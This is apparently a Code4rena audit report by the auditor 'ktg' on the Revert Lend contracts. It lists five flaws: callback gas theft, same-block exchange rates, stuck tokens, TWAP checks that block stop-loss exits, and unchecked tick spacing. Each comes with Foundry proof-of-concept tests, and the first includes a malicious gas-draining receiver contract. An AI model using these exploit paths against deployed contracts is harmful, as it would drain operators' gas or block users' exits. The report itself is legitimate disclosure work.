Revert Lend - ktg's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L232

Vulnerability details

Impact

• Gas theft / Dos in AutoRange execute function.

Proof of Concept

AutoRange execute function will transfer the newly minted UniswapV3 NFT (position) to the owner or the Revert Lend vault:

    state.owner = nonfungiblePositionManager.ownerOf(params.tokenId);
    // get the real owner - if owner is vault - for sending leftover tokens
    state.realOwner = state.owner;
    if (vaults[state.owner]) {
        state.realOwner = IVault(state.owner).ownerOf(params.tokenId);
    }

    // send the new nft to the owner / vault
    nonfungiblePositionManager.safeTransferFrom(address(this), state.owner, state.newTokenId);

The attacker can gas theft/ Dos the operator who calls execute by crafting a suitable onERC721Received function.

Below is a POC for this issue, this test case to file test/integration/automators/AutoRange.t.sol and run it using command: forge test --match-path test/integration/automators/AutoRange.t.sol --match-test testGasTheft -vv

Before running the test, we need to create a smart contract with custom callback:

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract GasTheftAttacker {
    uint256 public n;
    constructor(uint256 _n) {
        n = _n;
    }


    function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
        external
        returns (bytes4)
    {
        console.log("GasTheft onERC721Received");
        uint a;
        // Heavy tasks
        for(uint i=0; i< n; i++){
            a = a + i;
        }

        return IERC721Receiver.onERC721Received.selector;
    }
    fallback() external payable {

    }
}

Test case:

 function testGasTheft() public {
        bool onlyFees = true;
        SwapTestState memory state;

        // Transfer nft to attacker controlled smart contract
        GasTheftAttacker gasTheftAttacker = new GasTheftAttacker(100000);
        vm.prank(TEST_NFT_2_ACCOUNT);
        NPM.transferFrom(TEST_NFT_2_ACCOUNT, address(gasTheftAttacker), TEST_NFT_2);

        // Config AutoRange
        vm.startPrank(address(gasTheftAttacker));
        NPM.setApprovalForAll(address(autoRange), true);
        autoRange.configToken(
            TEST_NFT_2,
            address(0),
            AutoRange.PositionConfig(
                0, 0, 0, 60, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );

        (,,,,,,, state.liquidity,,,,) = NPM.positions(TEST_NFT_2);
        vm.stopPrank();

        // Operator run
        vm.prank(OPERATOR_ACCOUNT);
        autoRange.execute(
            AutoRange.ExecuteParams(
                TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );
    }

The function onERC721Received contains only a dummy loop for draining gas, you will see the test results in huge gas consumption (my run result is 23333834 gas).

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend updating the execute function to handle 2 cases:

• If state.owner is a vault, then keep the original code (because we onERC721Received of the Vault need to be called)
• If state.owner is not a vault, then we can just change mintParams.recipient to the state.owner (nonfungiblePositionManager.mint is not a safe mint and callback will be ignored).

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1155

Vulnerability details

Impact

• Users can profit by calling Vault functions in the same block
• Exchange rate is not updated for actions on the same block

Proof of Concept

In contract Vault, Debt exchange rate and lend exchange rate is only calculated once per block:

    function _updateGlobalInterest()
        internal
        returns (uint256 newDebtExchangeRateX96, uint256 newLendExchangeRateX96)
    {
        // only needs to be updated once per block (when needed)
        if (block.timestamp > lastExchangeRateUpdate) {
            (newDebtExchangeRateX96, newLendExchangeRateX96) = _calculateGlobalInterest();
            lastDebtExchangeRateX96 = newDebtExchangeRateX96;
            lastLendExchangeRateX96 = newLendExchangeRateX96;
            lastExchangeRateUpdate = block.timestamp;
            emit ExchangeRateUpdate(newDebtExchangeRateX96, newLendExchangeRateX96);
        } else {
            newDebtExchangeRateX96 = lastDebtExchangeRateX96;
            newLendExchangeRateX96 = lastLendExchangeRateX96;
        }
    }

This will create issues for transactions happens in the same block, the users could either profit or suffer loss because the exchange rate is not re-calculated. For example a user could borrow and then deposit at the same block, the user will enjoy a lower exchange rate in deposit transaction and receive more shares.

Below is a PoC for the above issue, save these 2 test cases to file test/integration/V3Vault.t.sol and run it using command: forge test --match-path test/integration/V3Vault.t.sol --match-test testSameBlockActions -vvvv

function testSameBlockActions1() external {

        vault.setLimits(0,  150000000, 150000000, 120000000, 120000000);

        //
        _setupBasicLoan(false);
        (,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);

        //
        vm.prank(TEST_NFT_ACCOUNT);
        vault.borrow(TEST_NFT, collateralValue);


        // Deposit again
        _deposit(10000000, WHALE_ACCOUNT);
        assertEq(vault.balanceOf(WHALE_ACCOUNT), 20000000);
    }

    function testSameBlockActions2() external {

        vault.setLimits(0,  150000000, 150000000, 120000000, 120000000);

        //
        _setupBasicLoan(false);
        (,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);

        //
        vm.prank(TEST_NFT_ACCOUNT);
        vault.borrow(TEST_NFT, collateralValue);


        // Deposit again
        vm.warp(block.timestamp + 1);
        _deposit(10000000, WHALE_ACCOUNT);
        assertEq(vault.balanceOf(WHALE_ACCOUNT), 19999999);
    }

In test case testSameBlockActions1, borrow and deposit happens in the same block, user receive 20000000 shares while in test case testSameBlockActions2, they happen on different blocks and user only receive 19999999 shares.

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend calling _calculateGlobalInterest every time _updateGlobalInterest is called.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/Automator.sol#L79-L82 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoCompound.sol#L201-L207

Vulnerability details

Impact

• Users's tokens stuck in AutoCompound after Vault is disabled.

Proof of Concept

Contract AutoCompound inherits Automator contract and it contains a function allowing the owner to disable a vault:

function setVault(address _vault, bool _active) public onlyOwner {
        emit VaultChanged(_vault, _active);
        vaults[_vault] = _active;
    }

Unlike AutoExit and AutoRange in which disabling Vault has no effect, if vault is disabled in AutoCompound then user cannot withdraw their balances:

function withdrawLeftoverBalances(uint256 tokenId, address to) external nonReentrant {
        address owner = nonfungiblePositionManager.ownerOf(tokenId);
        if (vaults[owner]) {
            owner = IVault(owner).ownerOf(tokenId);
        }
        if (owner != msg.sender) {
            revert Unauthorized();
        }

        (,, address token0, address token1,,,,,,,,) = nonfungiblePositionManager.positions(tokenId);

        uint256 balance0 = positionBalances[tokenId][token0];
        if (balance0 > 0) {
            _withdrawBalanceInternal(tokenId, token0, to, balance0, balance0);
        }
        uint256 balance1 = positionBalances[tokenId][token1];
        if (balance1 > 0) {
            _withdrawBalanceInternal(tokenId, token1, to, balance1, balance1);
        }
    }

As you can see in the first lines, if vaults[owner] = false, then owner must equal msg.sender, this will not be the case if the user has deposited their position to the Vault and hence cannot withdraw their balances.

Below is a POC for the above issue, save this test case to file test/integration/automators/AutoCompound.t.sol and run it using command: forge test --match-path test/integration/automators/AutoCompound.t.sol --match-test testTokenStuck -vvvv

function testTokenStuck() external {
        vm.prank(TEST_NFT_2_ACCOUNT);
        NPM.approve(address(autoCompound), TEST_NFT_2);

        (,,,,,,, uint128 liquidity,,,,) = NPM.positions(TEST_NFT_2);
        assertEq(liquidity, 80059851033970806503);
         vm.prank(OPERATOR_ACCOUNT);
        autoCompound.execute(AutoCompound.ExecuteParams(TEST_NFT_2, false, 0));
         (,,,,,,, liquidity,,,,) = NPM.positions(TEST_NFT_2);
        assertEq(liquidity, 99102324844935209920);

        // Mock call to  nonfungiblePositionManager.ownerOf to simulate
        // vault change
        // 0xC36442b4a4522E871399CD717aBDD847Ab11FE88 is the address of nonfungiblePositionManager
        // 0x6352211e is ERC721 function signature of `ownerOf`

        address vault = address(0x123);
        vm.mockCall(
            0xC36442b4a4522E871399CD717aBDD847Ab11FE88,(abi.encodeWithSelector(
            0x6352211e,TEST_NFT_2)
        ),
            abi.encode(vault)
        );

        // Withdraw leftover
        vm.prank(TEST_NFT_2_ACCOUNT);
        vm.expectRevert();
        autoCompound.withdrawLeftoverBalances(TEST_NFT_2, TEST_NFT_2_ACCOUNT);
        
    }

In this test case I simulate the disabling of vault by mockCall the result of nonfungiblePositionManager.ownerOf(tokenId) to address(0x123), since this address is not vault then the condition vaults[owner] is false.

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend checking the total user left tokens in variable positionBalances and only allow deactivating the current Vault if the number if zero.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/Automator.sol#L151-L153 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/AutoExit.sol#L162-L169 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L157-L164

Vulnerability details

Impact

• Users cannot stop loss in AutoRange and AutoExit, resulting in huge loss
• Users cannot withdraw their tokens and cut loss even when they choose no swap option.

Proof of Concept

Contract AutoRange and AutoExit both inherits contract Automator and uses its function _validateSwap:

function _validateSwap(
        bool swap0For1,
        uint256 amountIn,
        IUniswapV3Pool pool,
        uint32 twapPeriod,
        uint16 maxTickDifference,
        uint64 maxPriceDifferenceX64
    ) internal view returns (uint256 amountOutMin, int24 currentTick, uint160 sqrtPriceX96, uint256 priceX96) {
        // get current price and tick
        (sqrtPriceX96, currentTick,,,,,) = pool.slot0();

        // check if current tick not too far from TWAP
        if (!_hasMaxTWAPTickDifference(pool, twapPeriod, currentTick, maxTickDifference)) {
            revert TWAPCheckFailed();
        }
....

 function _hasMaxTWAPTickDifference(IUniswapV3Pool pool, uint32 twapPeriod, int24 currentTick, uint16 maxDifference)
        internal
        view
        returns (bool)
    {
        (int24 twapTick, bool twapOk) = _getTWAPTick(pool, twapPeriod);
        if (twapOk) {
            return twapTick - currentTick >= -int16(maxDifference) && twapTick - currentTick <= int16(maxDifference);
        } else {
            return false;
        }
    }

...


function _getTWAPTick(IUniswapV3Pool pool, uint32 twapPeriod) internal view returns (int24, bool) {
        uint32[] memory secondsAgos = new uint32[](2);
        secondsAgos[0] = 0; // from (before)
        secondsAgos[1] = twapPeriod; // from (before)

        // pool observe may fail when there is not enough history available
        try pool.observe(secondsAgos) returns (int56[] memory tickCumulatives, uint160[] memory) {
            return (int24((tickCumulatives[0] - tickCumulatives[1]) / int56(uint56(twapPeriod))), true);
        } catch {
            return (0, false);
        }
    }

The function will revert if the difference between current tick and twap tick > maxTickDifference. Currently, maxTickDifference must <= 200 as you can see in function setTWAPConfig:

function setTWAPConfig(uint16 _maxTWAPTickDifference, uint32 _TWAPSeconds) public onlyOwner {
        if (_TWAPSeconds < MIN_TWAP_SECONDS) {
            revert InvalidConfig();
        }
        if (_maxTWAPTickDifference > MAX_TWAP_TICK_DIFFERENCE) {
            revert InvalidConfig();
        }
        emit TWAPConfigChanged(_TWAPSeconds, _maxTWAPTickDifference);
        TWAPSeconds = _TWAPSeconds;
        maxTWAPTickDifference = _maxTWAPTickDifference;
    }

MAX_TWAP_TICK_DIFFERENCE = 200.

If for example, maxTWAPTickDifference = 100, then then function will revert if price difference = 1.0001**100 = 1%.

This will prevent users of AutoExit and AutoRange from stopping their loss in case the market drops > 1%.

Lets take an example:

• Alice chooses AutoRange transformer
• Then AutoRange.execute is called with amountIn = 0, according to the comment in AutoRange.ExecuteParams struct, then if amountIn=0, it means no swap:

struct ExecuteParams {
        uint256 tokenId;
        bool swap0To1;
        uint256 amountIn; // if this is set to 0 no swap happens
        bytes swapData;
        uint128 liquidity; // liquidity the calculations are based on
        uint256 amountRemoveMin0; // min amount to be removed from liquidity
        uint256 amountRemoveMin1; // min amount to be removed from liquidity
        uint256 deadline; // for uniswap operations - operator promises fair value
        uint64 rewardX64; // which reward will be used for protocol, can be max configured amount (considering onlyFees)
    }

• In case of no swap, Alice just want to withdraw her tokens and cut loss
• However, after AutoRange has called _decreaseFullLiquidityAndCollect to withdraw tokens for Alice, AutoRange still call _validateSwap to check (although amountIn is set to 0 - meaning no swap):

        (state.amount0, state.amount1, state.feeAmount0, state.feeAmount1) = _decreaseFullLiquidityAndCollect(
            params.tokenId, state.liquidity, params.amountRemoveMin0, params.amountRemoveMin1, params.deadline
        );

        ...
        // check oracle for swap
        (state.amountOutMin, state.currentTick,,) = _validateSwap(
            params.swap0To1,
            params.amountIn,
            state.pool,
            TWAPSeconds,
            maxTWAPTickDifference,
            params.swap0To1 ? config.token0SlippageX64 : config.token1SlippageX64
        );

• If |currentTick - twapTick| > 100 (meaning 1% price difference), then the transaction will revert and the operator failed to stop Alice loss
• Alice has to wait when condition |currentTick - twapTick| < 100 to cut loss, by then it's too late.

The same thing happens in AutoExit, users cannot withdraw their tokens in case the prices change > 1%.

Below is a POC for the above example, save this test case to file test/integration/automators/AutoRange.t.sol and run it using command: forge test --match-path test/integration/automators/AutoRange.t.sol --match-test testNoSwapRevert -vvvv

function testNoSwapRevert() public {
        bool onlyFees = false;
        SwapTestState memory state;


        // Config AutoRange
        vm.startPrank(TEST_NFT_2_ACCOUNT);
        NPM.setApprovalForAll(address(autoRange), true);
        autoRange.configToken(
            TEST_NFT_2,
            address(0),
            AutoRange.PositionConfig(
                0, 0, 0, 60, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );

        (,,,,,,, state.liquidity,,,,) = NPM.positions(TEST_NFT_2);
        vm.stopPrank();

        //
        (, int24 currentTick,,,,,) = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8).slot0();
        console.logInt(currentTick);

        // mock twap data
        // _maxTWAPTickDifference is currently set as 100
        // twapPeriod is 60,
        // currenttick = -73244
        // so the mock twap price  = (-6912871013261 - -6912866037401) / 60 = -82931
        int56[] memory tickCumulative = new int56[](2);
        tickCumulative[0] = -6912871013261;
        tickCumulative[1] = -6912866037401;

        uint32[] memory secondsAgos = new uint32[](2);
        secondsAgos[0] = 0;
        secondsAgos[1] = 60;
        uint160[] memory secondsPerLiquidityCumulativeX128s = new uint160[](2);

        vm.mockCall(
            0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8,(abi.encodeWithSelector(0x883bdbfd,secondsAgos)),
            abi.encode(tickCumulative,secondsPerLiquidityCumulativeX128s)
        );

        //Operator run
        vm.prank(OPERATOR_ACCOUNT);
        vm.expectRevert();
        autoRange.execute(
            AutoRange.ExecuteParams(
                TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );
    }

In the test case, I creates a mockCall to uniswap v3 observe function to simulate a market drop.

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend skipping the swap operation if _hasMaxTWAPTickDifference returns false instead of reverting,

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L276-L297 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L198-L217

Vulnerability details

Impact

• AutoRange will revert, causing operators to fail to stop users loss

Proof of Concept

Function AutoRange.configToken currently does not check if lowerTickDelta and upperTickDelta are multiple of tick spacing:

function configToken(uint256 tokenId, address vault, PositionConfig calldata config) external {
        _validateOwner(tokenId, vault);

        // lower tick must be always below or equal to upper tick - if they are equal - range adjustment is deactivated
        if (config.lowerTickDelta > config.upperTickDelta) {
            revert InvalidConfig();
        }

        positionConfigs[tokenId] = config;

        emit PositionConfigured(
            tokenId,
            config.lowerTickLimit,
            config.upperTickLimit,
            config.lowerTickDelta,
            config.upperTickDelta,
            config.token0SlippageX64,
            config.token1SlippageX64,
            config.onlyFees,
            config.maxRewardX64
        );
    }

While at function AutoRange.execute, the new position lowerTick and upperTick is calculated as baseTick + lowerTickDelta and baseTick + upperTickDelta. Since baseTick is already normalized to be multiples of tickSpacing, if lowerTickDelta or upperTickDelta are not multiples of tickSpacing, nonfungiblePositionManager.mint will revert and the users cannot stop their loss at critical time.

int24 tickSpacing = _getTickSpacing(state.fee);
            int24 baseTick = state.currentTick - (((state.currentTick % tickSpacing) + tickSpacing) % tickSpacing);

            // check if new range same as old range
            if (
                baseTick + config.lowerTickDelta == state.tickLower
                    && baseTick + config.upperTickDelta == state.tickUpper
            ) {
                revert SameRange();
            }
...
 INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams(
                address(state.token0),
                address(state.token1),
                state.fee,
                SafeCast.toInt24(baseTick + config.lowerTickDelta), // reverts if out of valid range
                SafeCast.toInt24(baseTick + config.upperTickDelta), // reverts if out of valid range
                state.maxAddAmount0,
                state.maxAddAmount1,
                0,
                0,
                address(this), // is sent to real recipient aftwards
                params.deadline
            );

Below is a POC for the above issue, save this test case to file test/integration/automators/AutoRange.t.sol and test it using command: forge test --match-path test/integration/automators/AutoRange.t.sol --match-test testTickSpacing -vvvv

function testTickSpacing() external {
        bool onlyFees = false;
        SwapTestState memory state;

        vm.prank(TEST_NFT_2_ACCOUNT);
        NPM.setApprovalForAll(address(autoRange), true);


        vm.prank(TEST_NFT_2_ACCOUNT);
        autoRange.configToken(
            TEST_NFT_2,
            address(0),
            AutoRange.PositionConfig(
                0, 0, 0, 59, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );

        (,,,,,,, state.liquidity,,,,) = NPM.positions(TEST_NFT_2);

        // Revert
        vm.prank(OPERATOR_ACCOUNT);
        vm.expectRevert();
        autoRange.execute(
            AutoRange.ExecuteParams(
                TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );

        // Reconfig to set upperTickDelta multiples of tickSpacing
        vm.prank(TEST_NFT_2_ACCOUNT);
        autoRange.configToken(
            TEST_NFT_2,
            address(0),
            AutoRange.PositionConfig(
                0, 0, 0, 60, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );
        // Success
        vm.prank(OPERATOR_ACCOUNT);
        autoRange.execute(
            AutoRange.ExecuteParams(
                TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD
            )
        );

    }

Tools Used

Manual Review

Recommended Mitigation Steps

The function configToken should check and revert if lowerTickDelta or upperTickDelta not multiples of tickSpacing.

Assessed type

Invalid Validation